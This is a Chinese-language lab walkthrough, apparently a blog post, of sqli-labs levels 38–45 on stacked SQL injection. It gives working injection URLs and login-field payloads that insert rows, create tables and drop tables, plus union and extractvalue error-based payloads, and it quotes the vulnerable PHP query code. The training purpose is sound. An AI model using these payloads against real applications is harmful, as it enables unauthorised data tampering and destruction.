Sqllibs-less38-45-堆叠注入

38、less38-stacked Query

38.1、注入分析

在这里插入图片描述
由源代码可以发现,闭合方式为单引号,且会输出数据库的报错信息,并且有数据库信息回显。这一关可以不需要使用堆叠注入,类似于平常的注入也可以,如下,使用的就是最简单的union注入。

http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=0%27union select 1,database(),@@basedir--+

在这里插入图片描述
利用一下堆叠注入的原理,我们可以插入数据。

http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

在这里插入图片描述

38.2、代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))//执行$sql针对数据库的查询
{	/*mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。*/
    

    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {/*mysql_store_result()转移上一次查询返回的结果集*/
        if($row = mysqli_fetch_row($result))
        {
			echo '<font size = "5" color= "#00FF00">';	
			print_r("Your result is : %s", $result);
			echo "<br>";
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))//检查查询是否有多个结果
    {/*mysqli_more_results() 函数检查一个多查询是否有更多的结果。*/
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}

39.less39-stacked Query Intiger type

39.1、注入分析

在这里插入图片描述
在这里插入图片描述
类似于less38,只是这一关为数字型,没有闭合方式,且会输出数据库的报错信息。

http://192.168.10.208:8081/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values('21','less39','123456')--+

在这里插入图片描述

40、less40-stacked Query String type Blind

40.1、注入分析

在这里插入图片描述
本关类似于less38,只是闭合方式为单引号+括号,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。

http://192.168.10.208:8081/sqli-labs-master/Less-40/?id=1');insert into users(id,username,password) values('22','less40','123456')--+

在这里插入图片描述

41.less41-stacked Query Intiger type Blind

41.1、注入分析

在这里插入图片描述
本关类似于less38,只是闭合方式为数字型,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。

http://192.168.10.208:8081/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values('23','less41','123456')--+

在这里插入图片描述

42.less42-Stacked Query error based

42.1、注入分析

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从login.php源码可以发现,在登录的界面中,我们可以发现对于传入的username进行了过滤,而password没有做任何处理。

mysqli_real_escape_string(connection,escapestring);

参数描述
connection必需。规定要使用的 MySQL 连接。
escapestring必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。

union注入
如下,对password进行尝试,发现可以登录。
在这里插入图片描述
接下来利用union注入进行登录:
在这里插入图片描述
登录后的结果,我们可以发现查询的语句显示在页面上了
在这里插入图片描述

stacked injection

在这里插入图片描述
利用stacked injection,我们可以执行创建一个新表的语句。如下构造:

SELECT * FROM users WHERE username='admin' and password='11';create table less42 like users #

在这里插入图片描述

利用11';drop table less42#作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

报错注入
在password中输入:11' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
在这里插入图片描述

42.2、代码分析

如下是login.php的部分代码

	# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			//echo "Password successfully updated";
			echo '<img src="../images/password-updated.jpg">';
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}

如下是pass_change.php的部分代码,我们可以发现在修改密码的位置,参数都用mysql_real_escape_string()函数进行了过滤,因此无法产生注入。
在这里插入图片描述

43.less43-Stacked Query

43.1、注入分析

在这里插入图片描述
在这里插入图片描述
本关类似于less42,只是将闭合方式改为了单引号+括号。
password:11');drop table less42

运行结果:
在这里插入图片描述

44.less44-Stacked Query Blind

44.1、注入分析

在这里插入图片描述
类似于less42,本关的闭合方式也是单引号闭合,但是不会输出数据库的报错信息,因此无法利用报错进行注入了,需要基于盲注。

username:admin
password:11’;insert into users(id,username,password) values(‘44’,‘less44’,‘less44’)#
在这里插入图片描述

插入成功。
在这里插入图片描述

45.less45-Stacked Query Blind based twist

45.1、注入分析

在这里插入图片描述
类似于less44,不会输出数据库的报错信息,但是闭合方式为单引号+括号,因此无法利用报错进行注入了,需要基于盲注。

username:admin
password:11’);insert into users(id,username,password) values(‘45’,‘less44’,‘less45’)#

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值